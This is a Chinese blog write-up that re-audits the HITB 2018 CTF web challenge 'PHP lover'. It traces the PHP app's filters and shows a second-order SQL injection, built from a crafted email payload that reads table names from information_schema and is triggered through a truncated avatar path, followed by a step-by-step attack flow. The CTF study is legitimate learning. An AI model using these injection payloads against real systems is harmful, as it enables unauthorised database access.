复现HITB PHP lover代码审计

本文介绍了一个PHP应用的安全漏洞分析过程,包括如何绕过输入过滤、利用二次SQL注入获取数据库信息等技术细节。

参考文献:https://www.anquanke.com/post/id/104952
一直想学代码审计来着,看到了一篇大佬的关于php代码审计的wp,决定自己试一下
源码下载地址:https://hitbxctf2018.xctf.org.cn/contest_challenge/里面的web题目中的PHP lover

代码结构

Controller           控制器,只有index.controller.php
Core                 类及方法定义
templates            前端的各种html界面
uploads              里面是两张图片
back.sql             创建的数据表
config.php           连接数据库
function.php         定义过滤函数
index.php            入口文件

从index.controller.php看下主要功能

public function login()
public function register()
public function add()
public function view()
public function edit()
public function export()
  • login()
    img_307713c279a7b13aa4a8f15dc9deadff.png
    1.png

    登录调用User类的login()方法,跟进login()函数(在user.class.php中)
    img_d8eabc1cced3ead7d75ae0d6977fdca9.png
    2.png

    跟进username的过滤函数filter()(在function.php文件中)
    img_d8d8cdeb4b5ffb52aedf58951c3b49b8.png
    3.png

    其中正则表达式中的b表示的为单词边界,而不是通配,如preg_match("/bwebb/i")只能匹配到web,而web123这种就不能。
    所以可以用"select * from/**/users"绕过此过滤(/**/作为空格注入)

但是在User类的login()方法中,

img_0c987b7a182d184df4b94bd7a88e7b5f.png
4.png

这就把 /**/过滤了,所以这个方法不行

  • register()


    img_e6a259239eeebd135eef42a6517c8b3d.png
    1.png

    跟进user类的register()方法


    img_fa7710ccdf054354fd158247f2ce6431.png
    2.png

    其中$username和$nickname没有可能了
    再看一下email,看下正则匹配
if(!preg_match('/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|([\"].+[\"]))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/i',$email)) return false;

其中([\"].+[\"])只需要""包围即可,引号中可以随便写。所以可以用·'"' and 1=1#'"@skysec.top'这种绕过,但是在daddslashes()这个函数中将"转义了。

img_c04186b7ae7ab7a3c83ef37873887a32.png
3.png

  • add()


    img_5aeb90dd6070a522215ef073fe0d3823.png
    1.png

    跟进user类中的add()方法


    img_2ac1205ce2bffa00dd020b13f39d12ef.png
    2.png

    全部被转义
  • view()

    img_c86c9e82193b785457c9100f675eec95.png
    1.png

    跟进user类中的getarticle()函数
    img_c1a86f3e2944220ec1d22bb87bff95f0.png
    2.png

    emmm,直接intval()也是妙。。

  • edit()


    img_fe556dcb22214eaece9b4daeb39b9403.png
    1.png

    上传功能,类型检测可以抓包bypass,但是

$info=getimagesize($_FILES['avatar']['tmp_name']);
if(@is_array($info) and array_key_exists('mime',$info)){
    $type=explode('/',$info['mime'])[1];
    $filename="uploads/".$this->user->getuser().".".$type;

文件后缀直接是mine的类型,这样就不能bypass上传恶意文件了
跟进下user类的getuser()方法


img_e42c13c35bbd1fa691dddc5681fa2142.png
2.png

文件名、是我们注册的用户名,用户名是无法bypass的,所以这里的上传,除了文件名长度其他都不可控

  • export()


    img_718f54ae900321d41988f4b67e5d0d7c.png
    1.png

    跟进user()类中的report()方法


    img_c402b1d05cc7ee5c8062aeb0dbb6d0c6.png
    2.png

    这里被当做错误触发,未做任何过滤,其中email的插入很关键
    所以接下来才算步入正题。。。emmm先膜拜下大佬的思路。

攻击点

  • 这题注册的时候,可以Bypass注册恶意邮箱,但是其中有符号被转义了
  • 但是这个转义在取出数据库的时候会被去除
  • 如果在取出后,系统又对这个数据进行了一次sql操作,就可以触发注入,通过二次注入
  • 我们的注册的时候注册恶意邮箱,在这里触发错误报告的时候就会被系统再次调用,取出数据库后转义消失
  • 拼接到insert语句时,构成sql注入攻击
    我们根据这一点注册用户,邮箱为
"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top

假设我们能触发export()函数中的$this->user->report(1)

img_02ca5e14b48b0661b5269b8c2360b749.png
1.png

$this->email为我们邮箱取出数据库的值:

"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top

此时利用report插入了两条数据

$this->id,'"', 233
2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)

触发sql注入需要解决
①自己的id需要知道,这样可以插入
在view()方法中

 if(isset($_GET['article'])){
            $id=intval($_GET['article']);
            $result=$this->user->getarticle($id);
            if($result==-1){
                quit('You have no access to read this article!');
            }
            else if($result==null){
                //TODO!report it!
                quit('This article is not exists!');
            }
            else{
                if($result[0][2]!="") echo "<h1>".htmlspecialchars($result[0][2], ENT_QUOTES)."</h1>";
                echo htmlspecialchars($result[0][3], ENT_QUOTES);
            }
        }
        else{
            $id=$this->user->getid();
            $this->view=$this->user->getarticle();
            include("templates/view.html");
        }

若是不输入article参数,会调用

function getid(){
        if ($this->islogin) return $this->id;
        else return null;
    }

就可获得id

②触发if(file_exists($avatar) and filesize($avatar)<65535)false,这样就会成功到else,构成攻击
跟进user类中的getavatar()方法

img_ae32f9f3c9153482d8cf1eabd0d4c04a.png
1.png

img_addff42bea3e03b96450bc9275316720.png
2.png

查看 back.sql文件,其中

$r[1]:data
$r[3]:filepath

如果我们的上传图片有数据,就返回Base64后的数据,否则返回路径

edit()的上传功能中有

$filename="uploads/".$this->user->getuser().".".$type;
if(is_uploaded_file($_FILES['avatar']['tmp_name'])){
    $this->user->edit("avatar",array($filename,$type));

跟进user类中的edit()方法

if($feild=="avatar"){
    return $this->db->Insert("avatar",array("''",$this->id,"'$value[0]'","'$value[1]'"));
}

即avatar表的filepath字段为

uploads/用户名.文件mine

数据库结构中

img_4271e977e1e5640e9d0998730c90c851.png
2.png

用户名的长度是300,而路径长度

`filepath` varchar(300),

如果我们的用户名长度为300,此时插入的路径就会被300截断,而变成一个不存在的路径,此时即可触发file_exists($avatar)错误

题目链接打不开了,放下大佬的完整攻击流程:

  • 先随便注册个用户,看一下自己的id
  • 然后再迅速注册用户,验证id是否是自己预想的id+1
username =
skyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskysky
email = 
"', 233), (id+1, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top
  • 登录后触发上传功能
  • 上传空文件,抓包改mine
  • 触发export功能,即可完成攻击,发现注入成功后的数据
    最后得到flag表,以及数据
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值